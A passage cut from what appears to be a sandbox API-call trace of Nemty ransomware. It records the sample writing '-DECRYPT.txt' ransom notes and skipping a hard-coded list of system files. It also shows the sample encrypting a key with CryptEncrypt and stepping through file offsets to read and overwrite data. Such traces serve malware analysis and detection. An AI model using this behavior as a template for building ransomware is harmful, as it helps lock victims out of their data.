hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0108.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0108.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0108.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0108.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0108.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f940e0 [0108.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0108.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940e0 | out: hHeap=0x4f90000) returned 1 [0108.883] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0108.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0108.884] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0108.884] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0108.885] CloseHandle (hObject=0x3c4) returned 1 [0108.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0108.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0108.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0108.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f940e0 [0108.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94138 [0108.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0108.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0108.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0108.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94190 [0108.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0108.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94190 | out: hHeap=0x4f90000) returned 1 [0108.885] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0108.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0108.886] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0108.886] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0108.887] CloseHandle (hObject=0x3c4) returned 1 [0108.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0108.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94138 | out: hHeap=0x4f90000) returned 1 [0108.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94138 [0108.887] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\en-US\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf489e0d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf489e0d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0108.887] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0108.887] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf489e0d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf489e0d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0108.887] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0108.887] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0108.887] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="sbdrop.dll.mui", cAlternateFileName="")) returned 1 [0108.887] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2=".") returned 1 [0108.888] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="..") returned 1 [0108.888] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="...") returned 1 [0108.888] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="windows") returned -1 [0108.888] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0108.888] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="rsa") returned 1 [0108.888] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="NTDETECT.COM") returned 1 [0108.888] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="ntldr") returned 1 [0108.888] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="MSDOS.SYS") returned 1 [0108.888] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="IO.SYS") returned 1 [0108.888] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="boot.ini") returned 1 [0108.888] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="boot.ini") returned 1 [0108.888] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0108.888] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="ntuser.dat") returned 1 [0108.888] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="desktop.ini") returned 1 [0108.888] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="CONFIG.SYS") returned 1 [0108.888] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="RECYCLER") returned 1 [0108.888] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0108.888] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="bootmgr") returned 1 [0108.888] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="programdata") returned 1 [0108.888] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="appdata") returned 1 [0108.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sbdrop.dll.mui", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0108.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sbdrop.dll.mui", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sbdrop.dll.mui", lpUsedDefaultChar=0x0) returned 14 [0108.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sbdrop.dll.mui", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0108.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sbdrop.dll.mui", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sbdrop.dll.mui", lpUsedDefaultChar=0x0) returned 14 [0108.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sbdrop.dll.mui", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0108.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sbdrop.dll.mui", cchWideChar=14, lpMultiByteStr=0x653f2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sbdrop.dll.mui", lpUsedDefaultChar=0x0) returned 14 [0108.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sbdrop.dll.mui", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0108.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sbdrop.dll.mui", cchWideChar=14, lpMultiByteStr=0x653f2d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sbdrop.dll.mui", lpUsedDefaultChar=0x0) returned 14 [0108.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941a0 [0108.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94138 | out: hHeap=0x4f90000) returned 1 [0108.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94218 [0108.889] Sleep (dwMilliseconds=0x5) [0108.901] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf48ea390, dwHighDateTime=0x1d561e7)) [0108.901] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf48ea390, dwHighDateTime=0x1d561e7)) [0108.901] GetLastError () returned 0xb7 [0108.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0108.901] GetLastError () returned 0xb7 [0108.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0108.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.902] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0108.902] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0108.902] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0108.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94290 [0108.902] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94290, pcchString=0x653ef9c | out: pszString="jcuRmoQI9jgXe8baukxpeNUJ/EdJTsfmkjbu/wUJiPOBCMHKiEJ7TgLNfRArR7Ys\r\n6wKr/pYPbr4EBgJik061kNuN//zFQVzAdbvo4ecTb5unWku3SLSDcYuvvUb7CfKA\r\n8XOgvWl9vHcAuFVRHkZk6pYJ8NFQC3eOMo+8Yp7wtqf/1FZRX7Ft6EUtEG0J+ik+\r\nspPf1YwHmOZWaFarjjEEPak4YdX6ef27lJW8EK8xyolNqx0QinibxIXbOWDCYVIy\r\nT1bt9PQgnkQRQXyplDUjoe/CNjtYcurYlC0wFoM7wAxW5JvzbZRg+u0K5B5gfjDQ\r\n8UamhE1vdwhQSG7lce6cJg==\r\n", pcchString=0x653ef9c) returned 1 [0108.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0108.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94290 | out: hHeap=0x4f90000) returned 1 [0108.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0108.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94290 [0108.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0108.902] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\en-US\\sbdrop.dll.mui" (normalized: "c:\\program files\\windows sidebar\\en-us\\sbdrop.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0108.902] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0108.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0108.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.902] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.912] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.912] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.921] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.921] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.930] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.931] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.940] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.940] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.949] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.950] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.959] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.959] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.968] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.968] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.978] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.978] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.987] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.987] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.997] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0109.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.003] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0109.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.003] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0109.009] SetFilePointer (in: hFile=0xffffffff, 